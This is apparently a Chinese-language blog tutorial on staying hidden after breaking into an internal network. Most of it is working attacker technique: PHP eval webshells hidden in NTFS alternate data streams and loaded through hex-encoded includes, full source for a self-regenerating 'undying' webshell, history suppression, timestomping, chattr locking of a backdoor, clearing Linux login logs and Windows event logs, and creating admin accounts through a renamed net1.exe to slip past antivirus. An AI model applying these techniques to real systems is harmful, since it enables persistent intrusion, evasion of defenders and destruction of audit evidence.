内网隐藏技术总结
这里班门弄斧一下,将我学到的,用到的一些经验分享。以后还会补充。
不光对于内网,外网也是一样。我们要先考虑的问题是什么?达到目的。原理以及实验成功是重中之重。
随后,基础掌握地很透彻后,在内网中就要考虑,隐藏自己+无文件落地,说白了,就是销声匿迹。这就是最考验黑客技术的时候了。
我能想到的,目前有这么几点
- 尽量不要上传文件,如果实在是需要上传文件,例如只有一个内网IP这样的,需要进行内网探测,只能上传fscan等,那么就新建一个隐藏文件夹,将工具都上传到这里就好(最大可能隐藏目录、最大可能无文件落地)
- 生成远控时,要生成带有能够绕过杀软的,或者无文件落地的powershell等
- 内网信息收集中,尽量不要使用nmap进行扫描,因为nmap是精准派,会各个角度进行探测,造成流量过大,会引发内湾的流量监控。所以尽量采用自己写的脚本、masscan、端口分类逐个扫描、嗅探等技术。(最大可能减少流量)
- 端口转发中,尽量不要上传工具,工具越多,被发现的概率就越大,而是使用建立隐藏隧道等
- 反弹shell时,多使用系统内置的bash等
- 远程登录时,使用wmiexec,十分隐蔽
大致分为无文件落地、系统原生命令工具、免杀木马类、账号的隐蔽性等

神不知鬼不觉地渗透,这才是菜鸟和大神的区别
当然了,这个其实严格意义上讲,可以被分配给权限维持。
内网隐藏之我见
当我们拿到一个边界机的webshell后,可能都着急地、胡乱地上传文件进行内网探测以及端口转发啥的了。
但是实际上实战的时候,完全不可能这么去做。一定要注意这么几点:
- 最大可能无文件落地
- 最大可能隐藏目录
- 最大可能命令无痕
- 最大可能修改文件目录时间等
1、开启命令无痕模式
[space]set +o history #[space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录
[Space]set -o history #将环境恢复原状
上面的命令会临时禁用历史功能,这意味着在这命令之后我执行的所有操作都不会记录到历史中。
不过亲测,加空格,在Centos系统还是存在历史记录的。Ubuntu系统加空格再敲命令,是不会留下痕迹的。
还有一种较为粗暴的方法,即删除命令历史
history -c #或者到根目录下面直接删除历史文件
echo > /root/.bash_history
2、Linux创建隐藏目录
创建一个隐藏目录,尽量做到不为之察觉,将我的所需工具都传入此文件夹中,windows也同理。
mkdir .startpar

3、Windows创建隐藏目录的方法
attrib [{+r|-r}] [{+a|-a}] [{+s|-s}] [{+h|-h}] [[Drive**:][Path] FileName] [/s**[/d]]
+r :设置只读文件属性。
-r :清除只读文件属性。
+a :设置存档文件属性。
-a :清除存档文件属性。
+s :设置系统文件属性。
-s :清除系统文件属性。
+h :设置隐藏文件属性。
-h :清除隐藏文件属性。
[ Drive : ][ Path ] FileName :指定要显示或更改其属性的目录、文件或文件集的位置和名称。您可以在FileName参数中使用通配符(即 ? 和 *)来显示或更改一组文件的属性。
/ S :适用ATTRIB任何命令行选项匹配的文件在当前目录及其所有子目录。
/ d :适用ATTRIB和任何命令行选项目录。
/? :在命令提示符下显示帮助。
for e.g.
attrib +s +h <filename>
输入了这条命令,打开windows窗口是看不见这个文件的,但是在命令行中我们是可以看到的。


比较骚气的是,你能看到它,却删除不了

那么怎么删除呢?就是反过来使用命令就行了
attrib -s -h 1.txt
del 1.txt
4、使用NTFS文件属性来隐藏数据,逃避检测
echo hello >> 2.txt:test.txt
dir
type 2.txt
type 2.txt:test.txt
notepad 2.txt:test.txt

说明
1、2.txt 可以 不存在 ,也可以是某个 已存在 的文件,文件格式无所谓 .txt .jpg .exe .asp 都行。是不是很恐怖感觉?
冒号前面的文件被称为宿主文件,冒号后面的文件为寄生文件。在不泄露寄生文件名字的情况下,很难发现

2、删除 宿主 文件,寄生 文件也会被删除。

实战应用
现在已经连上了一个webshell,想要做一个文件隐藏。蚁剑可能是因为非交互式shell的原因,无法使用双引号来使一句话中的>写入webshell

于是我就使用转义语句,这样就可以了。这时候再链接刚生成的doNotDelete.php,就问你,奇妙不奇妙,帅不帅!?你说当别人查找自己的目录,发现有一个文件,里面写的是<?php include('/:test.txt')?>,他其实是不怎么敢删除的。
echo ^<?php @eval($_REQUEST[1]);?^> >> /:test.txt
echo ^<?php include('/:test.txt')?^> >> doNotDelete.php
#####################第二种写法####################
echo "<?php @eval($_REQUEST[123]);?>" >> 1.php:shell.php
echo "<?php include '1.php:key.php';?>" >> 2.php
#然后蚁剑链接2.php

需要注意一点,绕不过DF


又或者可以再改进利用 pack()函数 解决 include 函数
pack()函数定义和用法
pack() 函数把数据装入一个二进制字符串;format 规定在包装数据时所使用的格式
语法
pack(format,args+)
<?php
@include(PACK('H*','xx'));
?>
将 1.php:shell.php 进行 hex 编码,后面的 shell.php 什么后缀都可以
<?php @include(PACK('H*','312e7068703a7368656c6c2e706870'));?>
或者
<?php
$a="312e7068703a7368"."656c6c2e706870";
$b="a";
include(PACK('H*',$$b))
?>
5、使用备用数据流将 payload 隐藏在其他类型的文件
ADS 备用数据流是 Windows 引入的新技术文件系统(NTFS)的产物。传统上引入它是为了提供与 Macintosh 系统的旧分层文件系统(HFS)的文件共享的兼容性,其中数据可以分叉到不同的资源中,并存储称为元数据的文件的附加数据
5-1、ADS Powershell
echo "This is b.txt" > b.txt
Set-Content b.txt -stream text
位于命令管道位置 1 的 cmdlet Set-Content
请为以下参数提供值:
Value[0]: This is hidden text
Value[1]:
这里直接 dir 是看不到隐藏文件的也就是 b.txt:text:$DATA
Get-Content b.txt -stream text #查看目录中的所有文件
Get-Item -path .\b.txt -stream * #查看目录中的所有文件
注意:如果将 ADS 文件从 NTFS 传输到 FAT32,将自动销毁替代数据流。(就比如将文件传到U盘),一个 ADS 文件是在 NTFS 系统中创建的,但是一旦将它传输到 FAT32 闪存驱动器,就会看提示不允许使用 ADS 复制文件。这是因为 ADS 功能是在 NTFS 中引入的,而 FAT32 并不支持

5-2、在文本文件中隐藏图像
echo helloworld > 1.txt
type hong.jpg > 1.txt:hong.jpg
del hong.jpg
dir /r
##########################
###将目录更改为system 32,利用绘图打开,当打开附加了 ADS 的文本文件时,图像文件被执行
mspaint.exe C:\Users\Tenet\Desktop\test\1.txt:hong.jpg

5-3、在文本文件中隐藏音频
echo Jay > 1.txt
type Jay-baisefengche.mp3 > 1.txt:Jay-baisefengche.mp3
del Jay-baisefengche.mp3
dir /r

到微软自带的媒体播放目录下
wmplayer.exe C:\Users\Tenet\Desktop\test\1.txt:Jay-baisefengche.mp3
5-4、在文本文件中隐藏exe、vbs、ps1
微软为了安全性,在windows-xp以后的操作系统(从win7开始)就不允许直接使用 start 打开 ntfs 数据流文件,而必须使用 mklink 命令来为流文件建立一个链接,然后通过这个链接文件来打开流文件
mklink 需要高权限

操作流程
type calc.exe > a.txt:calc.exe
del calc.exe
start a.txt:calc.exe // 不允许直接使用了
mklink d.exe c.txt:calc.exe // 为流文件建立一个链接

6、修改创建时间
如果蓝队根据文件修改时间来判断文件是否为后门,如参考index.php的时间再来看shell.php的时间就可以判断shell.php的生成时间有问题。
touch -r <已存在的文件名> <我新建的文件名> #谨慎操作,一旦写反位置,时间就错
touch -r .ICE-unix .startpar
修改前

修改后

当然蚁剑也可以修改

7、目录加固
使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。
下面这个命令很好用,只不过需要root权限,所以有必要时可以进行提权。
chattr +i evil.php #锁定文件
rm -rf evil.php #提示禁止删除
8、上传不死马
不死马的作用就是可以在每5秒钟就生成一个up1oad.php木马文件。条件就是web根目录需要开启写入权限。
将下面这段代码,复制粘贴到一个php文件中,然后在浏览器上访问一下这个php文件。
<?php
ignore_user_abort();//关闭浏览器,php脚本也可以继续执行
set_time_limit(0);//通过set_time_limit(0)可以让程序无限制的执行下去
$interval = 5;//每间隔*秒运行,产生一次木马
do{
$filename = 'up1oad.php'; //木马文件,使用相近字符,将upload混淆成up1oad
if(file_exists($filename)){
echo "xxx";
}
else{
$file = fopen("up1oad.php","w");
$txt = '<?php @eval($_REQUEST["undied"]);?>\n';
fwrite($file,$txt);
fclose($file);
}
sleep($interval);
}while (true);
?>
然后就可以看到网站根目录下存在了一个新的php文件木马,然后链接这个木马即可。看下面我生成的GIF图操作,删了up1oad.php后又出现了,如此反复。


9、降低流量
在一些内网安全性较高的环境中,存在包含但不限于下方设备:
- 堡垒机
- 流量监控
- 杀软
实战时,尽量不要使用nmap这样精准派的工具。因为它是精准派,会从各个角度进行扫描、分析和判断,最终汇总成结果给咱们看。如果你通过wireshark抓包,就能看到nmap的流量是极其大的。
再举个例子,综合靶场的sqlmap不好使,说不定就是流量过大造成的。一旦流量监控检测到异常行为,你可能长时间以来所有的努力都付之一炬了。
再再举个例子,爬虫那会儿被验证码限制了,都是流量过大惹的祸。
再再再举个例子,CS为什么实战的时候,都设置成600-1000秒?而实验环境就是0或者1秒?那不还是同样的道理吗。
所以可以先试试fscan,masscan等速度派软件,速度派扫描软件的流量明显会低很多。但是尽管是速度派,也不要上来就扫描所有端口,不要上来就fscan -h全功能开启一把唆。
那怎么做呢?
逐个端口扫描,我一个一个端口扫,这是最稳的。 还有就是,学会powershell命令!
还可以使用嗅探技术。主动扫描就是使用nmap这样的,被动扫描就是嗅探,具体含义不再赘述,在中间人攻击那一节有讲到,也可以百度看看。
一般来说嗅探都适用于一些大型项目,咱们基本用不到。
而且据我参加工作的经验,MSF和CS有时候是不允许使用的,就是因为动静实在是太大了。
10、清除Linux日志登陆成功、登陆失败的信息
10-1、清除登陆成功的信息
/var/log/wtmp这个文件默认打开时乱码,可以查看到ip等信息。
echo > /var/log/wtmp
输入上述命令后,输入last便查不到用户登陆信息。


10-2、清除登陆失败的信息
/var/log/btmp 此文件默认打开时乱码,可查看到登陆失败的信息。
echo > /var/log/btmp
lastb
同理,按照上面的命令清空后,查不到登陆失败的信息。


11、清除windows日志
手工鼠标操作
1、打开日志管理eventvwr
2、右键清除日志

命令行操作
需要管理员身份运行终端,或者更高权限。
wevtutil cl system
wevtutil cl application
wevtutil cl security

MSF自带的
需要高权限才行
clearev

12、工具魔改
之前跟别人进行过交流,他说过一个非常关键的话,就是一般在内网中,如何绕过流量检测是最重要的。也就是说我们的攻击行为会被内网监控系统例如IDS,IPS等发现,尤其是根据流量特征、流量动静进行地监控。这时候对工具的魔改能力就需要更上一阶了。
魔改冰蝎UA头等
还有就是fscan就已经被杀软等列入黑名单了,很容易引发流量探测、态势感知的报警。
一般来说方法就是将fscan的特征去掉一些,比如ms17_010,永恒之黑等检测的模块
CS的混淆参数argue
以前好用,现在不太好用了
argue net1 sadjalkjsdakjdkaj
execute net1 user fucker ICQsafe666 /add

13、copy绕过火绒等
不仅仅在命令行这里用
cp C:/windows/system32/net1.exe net1.txt
net1.txt user test testpassword /add
net1.txt localgroup administrators test /add
在CS这里也能用


浙公网安备 33010602011771号